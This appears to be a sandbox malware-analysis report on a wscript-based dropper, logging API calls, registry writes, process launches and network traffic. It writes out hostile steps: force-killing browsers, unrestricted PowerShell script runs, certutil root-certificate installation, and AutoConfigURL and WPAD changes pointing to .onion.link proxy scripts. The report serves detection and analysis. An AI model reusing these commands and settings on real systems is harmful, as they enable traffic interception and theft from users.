privilege_name: SeDebugPrivilege
success 1 0
1619789642.47775
LookupPrivilegeValueW
system_name:
privilege_name: SeDebugPrivilege
success 1 0
1619789642.477625
LookupPrivilegeValueW
system_name:
privilege_name: SeDebugPrivilege
success 1 0
1619789661.60225
LookupPrivilegeValueW
system_name:
privilege_name: SeDebugPrivilege
success 1 0
1619789687.362481
LookupPrivilegeValueW
system_name:
privilege_name: SeDebugPrivilege
success 1 0
Uses Windows utilities for basic Windows functionality (8 个事件)
cmdline "C:\Windows\System32\taskkill.exe" /F /im firefox.exe
cmdline taskkill /F /im chrome.exe
cmdline "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\jvopxd7l.cmdline"
cmdline taskkill /F /im iexplore.exe
cmdline "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\rhadbztv.cmdline"
cmdline taskkill /F /im firefox.exe
cmdline "C:\Windows\System32\taskkill.exe" /F /im chrome.exe
cmdline "C:\Windows\System32\taskkill.exe" /F /im iexplore.exe
网络通信
Communicates with host for which no DNS query was performed (2 个事件)
host 172.217.24.14
host 203.208.41.66
Wscript.exe initiated network communications indicative of a script based payload download (17 个事件)
Time & API Arguments Status Return Repeated
1619789681.024625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789681.649625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789681.696625
InternetCrackUrlA
url: http://api.ipify.org
flags: 268435456
success 1 0
1619789684.899625
InternetCrackUrlA
url: http://api.ipify.org
flags: 268435456
success 1 0
1619789685.430625
InternetReadFile
buffer: 202.100.214.100
request_handle: 0x00cc000c
success 1 0
1619789685.477625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789685.477625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789685.774625
InternetReadFile
buffer: 202.100.214.100
request_handle: 0x00cc000c
success 1 0
1619789685.789625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789685.789625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789686.071625
InternetReadFile
buffer: 202.100.214.100
request_handle: 0x00cc000c
success 1 0
1619789686.071625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789686.071625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789686.352625
InternetReadFile
buffer: 202.100.214.100
request_handle: 0x00cc000c
success 1 0
1619789686.352625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789686.352625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789686.602625
InternetReadFile
buffer: 202.100.214.100
request_handle: 0x00cc000c
success 1 0
Deletes executed files from disk (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\rhadbztv.cmdline
wscript.exe-based dropper (JScript, VBS) (5 个事件)
Modifies proxy autoconfiguration settings possibly for traffic interception (5 个事件)
Time & API Arguments Status Return Repeated
1619789685.477625
RegSetValueExA
key_handle: 0x00000534
value: http://ptic36kszvun7dxn.onion.link/jT7YSUTn.js?ip=202.100.214.100
regkey_r: AutoConfigURL
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
success 0 0
1619789685.789625
RegSetValueExA
key_handle: 0x0000053c
value: http://ptic36kszvun7dxn.onion.link/TmsXllpE.js?ip=202.100.214.100
regkey_r: AutoConfigURL
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
success 0 0
1619789686.071625
RegSetValueExA
key_handle: 0x00000544
value: http://ptic36kszvun7dxn.onion.link/GDfsnjSd.js?ip=202.100.214.100
regkey_r: AutoConfigURL
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
success 0 0
1619789686.352625
RegSetValueExA
key_handle: 0x0000054c
value: http://ptic36kszvun7dxn.onion.link/AzoENYvU.js?ip=202.100.214.100
regkey_r: AutoConfigURL
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
success 0 0
1619789686.602625
RegSetValueExA
key_handle: 0x00000554
value: http://ptic36kszvun7dxn.onion.link/ZNUjonx8.js?ip=202.100.214.100
regkey_r: AutoConfigURL
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
success 0 0
Sets or modifies WPAD proxy autoconfiguration file for traffic interception (15 个事件)
Time & API Arguments Status Return Repeated
1619789684.868625
RegSetValueExA
key_handle: 0x00000510
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason
success 0 0
1619789684.868625
RegSetValueExA
key_handle: 0x00000510
value: дR¤©=×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime
success 0 0
1619789684.868625
RegSetValueExA
key_handle: 0x00000510
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision
success 0 0
1619789684.868625
RegSetValueExW
key_handle: 0x00000510
value: 网络 2
regkey_r: WpadNetworkName
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName
success 0 0
1619789684.868625
RegSetValueExA
key_handle: 0x00000524
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason
success 0 0
1619789684.868625
RegSetValueExA
key_handle: 0x00000524
value: дR¤©=×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime
success 0 0
1619789684.868625
RegSetValueExA
key_handle: 0x00000524
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision
success 0 0
1619789684.899625
RegSetValueExW
key_handle: 0x0000050c
value: {40112ABE-63B3-43C3-BE93-1440EE3AF106}
regkey_r: WpadLastNetwork
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork
success 0 0
1619789685.430625
RegSetValueExA
key_handle: 0x00000534
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason
success 0 0
1619789685.430625
RegSetValueExA
key_handle: 0x00000534
value: @Ȧ¤©=×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime
success 0 0
1619789685.430625
RegSetValueExA
key_handle: 0x00000534
value: 0
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision
success 0 0
1619789685.430625
RegSetValueExW
key_handle: 0x00000534
value: 网络 2
regkey_r: WpadNetworkName
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName
success 0 0
1619789685.430625
RegSetValueExA
key_handle: 0x00000538
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason
success 0 0
1619789685.430625
RegSetValueExA
key_handle: 0x00000538
value: @Ȧ¤©=×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime
success 0 0
1619789685.430625
RegSetValueExA
key_handle: 0x00000538
value: 0
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision
success 0 0
Network communications indicative of a potential document or script payload download was initiated by the process wscript.exe (23 个事件)
Time & API Arguments Status Return Repeated
1619789681.024625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789681.649625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789681.696625
InternetCrackUrlA
url: http://api.ipify.org
flags: 268435456
success 1 0
1619789684.899625
InternetCrackUrlA
url: http://api.ipify.org
flags: 268435456
success 1 0
1619789684.946625
send
buffer: !
socket: 1080
sent: 1
success 1 0
1619789685.180625
send
buffer: GET / HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive
socket: 1320
sent: 300
success 300 0
1619789685.180625
send
buffer: !
socket: 1080
sent: 1
success 1 0
1619789685.477625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789685.477625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789685.493625
send
buffer: GET / HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive
socket: 1320
sent: 300
success 300 0
1619789685.493625
send
buffer: !
socket: 1080
sent: 1
success 1 0
1619789685.789625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789685.789625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789685.789625
send
buffer: GET / HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive
socket: 1320
sent: 300
success 300 0
1619789685.789625
send
buffer: !
socket: 1080
sent: 1
success 1 0
1619789686.071625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789686.071625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789686.118625
send
buffer: GET / HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive
socket: 1320
sent: 300
success 300 0
1619789686.118625
send
buffer: !
socket: 1080
sent: 1
success 1 0
1619789686.352625
InternetCrackUrlW
url: http://api.ipify.org/
flags: 0
success 1 0
1619789686.352625
HttpOpenRequestW
connect_handle: 0x00cc0008
http_version:
flags: 4194304
http_method: GET
referer:
path: /
success 13369356 0
1619789686.352625
send
buffer: GET / HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive
socket: 1320
sent: 300
success 300 0
1619789686.352625
send
buffer: !
socket: 1080
sent: 1
success 1 0
One or more non-safelisted processes were created (14 个事件)
parent_process powershell.exe martian_process "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\rhadbztv.cmdline"
parent_process powershell.exe martian_process "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\jvopxd7l.cmdline"
parent_process wscript.exe martian_process powershell -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\psf.ps1"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\psf.ps1"
parent_process wscript.exe martian_process "C:\Windows\System32\taskkill.exe" /F /im firefox.exe
parent_process wscript.exe martian_process taskkill /F /im firefox.exe
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\ps.ps1"
parent_process wscript.exe martian_process powershell -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\ps.ps1"
parent_process wscript.exe martian_process taskkill /F /im iexplore.exe
parent_process wscript.exe martian_process "C:\Windows\System32\certutil.exe" -addstore -f -user "ROOT" "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\cert.der"
parent_process wscript.exe martian_process taskkill /F /im chrome.exe
parent_process wscript.exe martian_process "C:\Windows\System32\taskkill.exe" /F /im chrome.exe
parent_process wscript.exe martian_process certutil -addstore -f -user "ROOT" "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\cert.der"
parent_process wscript.exe martian_process "C:\Windows\System32\taskkill.exe" /F /im iexplore.exe
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2011-03-02 15:40:24

Imports

Library COMCTL32.dll:
• 0x413030
Library SHLWAPI.dll:
• 0x4131bc SHAutoComplete
Library KERNEL32.dll:
• 0x41306c DeleteFileW
• 0x413070 DeleteFileA
• 0x413074 CreateDirectoryA
• 0x413078 CreateDirectoryW
• 0x41307c FindClose
• 0x413080 FindNextFileA
• 0x413084 FindFirstFileA
• 0x413088 FindNextFileW
• 0x41308c FindFirstFileW
• 0x413090 GetTickCount
• 0x413094 WideCharToMultiByte
• 0x413098 GlobalAlloc
• 0x41309c GetVersionExW
• 0x4130a0 GetFullPathNameA
• 0x4130a4 GetFullPathNameW
• 0x4130a8 GetModuleFileNameW
• 0x4130ac FindResourceW
• 0x4130b0 GetModuleHandleW
• 0x4130b4 HeapAlloc
• 0x4130b8 GetProcessHeap
• 0x4130bc HeapFree
• 0x4130c0 HeapReAlloc
• 0x4130c4 CompareStringA
• 0x4130c8 ExitProcess
• 0x4130cc GetLocaleInfoW
• 0x4130d0 GetNumberFormatW
• 0x4130d4 SetFileAttributesW
• 0x4130d8 GetDateFormatW
• 0x4130dc GetTimeFormatW
• 0x4130ec WaitForSingleObject
• 0x4130f0 Sleep
• 0x4130f4 GetTempPathW
• 0x4130f8 MoveFileExW
• 0x4130fc UnmapViewOfFile
• 0x413100 GetCommandLineW
• 0x413104 MapViewOfFile
• 0x413108 CreateFileMappingW
• 0x41310c OpenFileMappingW
• 0x413114 GetProcAddress
• 0x413120 GetSystemTime
• 0x413124 MultiByteToWideChar
• 0x413128 CompareStringW
• 0x41312c IsDBCSLeadByte
• 0x413130 GetCPInfo
• 0x413138 LoadLibraryW
• 0x41313c FreeLibrary
• 0x413140 SetFileAttributesA
• 0x413144 GetFileAttributesW
• 0x413148 GetFileAttributesA
• 0x41314c WriteFile
• 0x413150 GetStdHandle
• 0x413154 ReadFile
• 0x41315c CreateFileW
• 0x413160 CreateFileA
• 0x413164 GetFileType
• 0x413168 SetEndOfFile
• 0x41316c SetFilePointer
• 0x413170 MoveFileW
• 0x413174 SetFileTime
• 0x413178 GetCurrentProcess
• 0x41317c CloseHandle
• 0x413180 SetLastError
• 0x413184 GetLastError
Library USER32.dll:
• 0x4131c4 wvsprintfW
• 0x4131c8 ReleaseDC
• 0x4131cc GetDC
• 0x4131d0 SendMessageW
• 0x4131d4 SetDlgItemTextW
• 0x4131d8 SetFocus
• 0x4131dc EndDialog
• 0x4131e0 DestroyIcon
• 0x4131e4 SendDlgItemMessageW
• 0x4131e8 GetDlgItemTextW
• 0x4131ec GetClassNameW
• 0x4131f0 DialogBoxParamW
• 0x4131f4 IsWindowVisible
• 0x4131f8 WaitForInputIdle
• 0x4131fc SetForegroundWindow
• 0x413200 GetSysColor
• 0x413204 PostMessageW
• 0x413208 LoadBitmapW
• 0x41320c LoadIconW
• 0x413210 CharToOemA
• 0x413214 OemToCharA
• 0x413218 FindWindowExW
• 0x41321c wvsprintfA
• 0x413220 GetParent
• 0x413224 MapWindowPoints
• 0x413228 CreateWindowExW
• 0x41322c UpdateWindow
• 0x413230 SetWindowTextW
• 0x413234 LoadCursorW
• 0x413238 RegisterClassExW
• 0x41323c SetWindowLongW
• 0x413240 GetWindowLongW
• 0x413244 DefWindowProcW
• 0x413248 PeekMessageW
• 0x41324c GetMessageW
• 0x413250 TranslateMessage
• 0x413254 DispatchMessageW
• 0x413258 DestroyWindow
• 0x41325c GetClientRect
• 0x413260 IsWindow
• 0x413264 CharToOemBuffW
• 0x413268 MessageBoxW
• 0x41326c ShowWindow
• 0x413270 GetDlgItem
• 0x413274 EnableWindow
• 0x413278 OemToCharBuffA
• 0x41327c CharUpperA
• 0x413280 CharToOemBuffA
• 0x413284 LoadStringW
• 0x413288 SetWindowPos
• 0x41328c GetWindowTextW
• 0x413290 GetSystemMetrics
• 0x413294 GetWindow
• 0x413298 CharUpperW
• 0x41329c GetWindowRect
• 0x4132a0 CopyRect
Library GDI32.dll:
• 0x413048 GetDeviceCaps
• 0x41304c GetObjectW
• 0x413054 SelectObject
• 0x413058 StretchBlt
• 0x41305c CreateCompatibleDC
• 0x413060 DeleteObject
• 0x413064 DeleteDC
Library COMDLG32.dll:
• 0x413038 GetOpenFileNameW
• 0x413040 GetSaveFileNameW
Library ADVAPI32.dll:
• 0x413000 RegOpenKeyExW
• 0x413008 OpenProcessToken
• 0x41300c RegQueryValueExW
• 0x413010 RegCreateKeyExW
• 0x413014 RegSetValueExW
• 0x413018 RegCloseKey
• 0x41301c SetFileSecurityW
• 0x413020 SetFileSecurityA
Library SHELL32.dll:
• 0x413198 SHChangeNotify
• 0x41319c ShellExecuteExW
• 0x4131a0 SHFileOperationW
• 0x4131a4 SHGetFileInfoW
• 0x4131ac SHGetMalloc
• 0x4131b0 SHBrowseForFolderW
Library ole32.dll:
• 0x4132ac OleInitialize
• 0x4132b0 CoCreateInstance
• 0x4132b4 OleUninitialize
• 0x4132b8 CLSIDFromString
Library OLEAUT32.dll:
• 0x413190 VariantInit

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49238 203.208.41.98 update.googleapis.com 443
192.168.56.101 49210 23.21.252.4 api.ipify.org 80

UDP

Source Source Port Destination Destination Port
192.168.56.101 49235 114.114.114.114 53
192.168.56.101 51963 114.114.114.114 53
192.168.56.101 53210 114.114.114.114 53
192.168.56.101 54178 114.114.114.114 53
192.168.56.101 55368 114.114.114.114 53
192.168.56.101 58070 114.114.114.114 53
192.168.56.101 58367 114.114.114.114 53
192.168.56.101 60215 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 50002 224.0.0.252 5355
192.168.56.101 50534 224.0.0.252 5355
192.168.56.101 53380 224.0.0.252 5355
192.168.56.101 53657 224.0.0.252 5355
192.168.56.101 54991 224.0.0.252 5355
192.168.56.101 56539 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 57756 224.0.0.252 5355
192.168.56.101 57874 224.0.0.252 5355

HTTP & HTTPS Requests

URI Data
http://api.ipify.org/ 
GET / HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: api.ipify.org
Connection: Keep-Alive

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.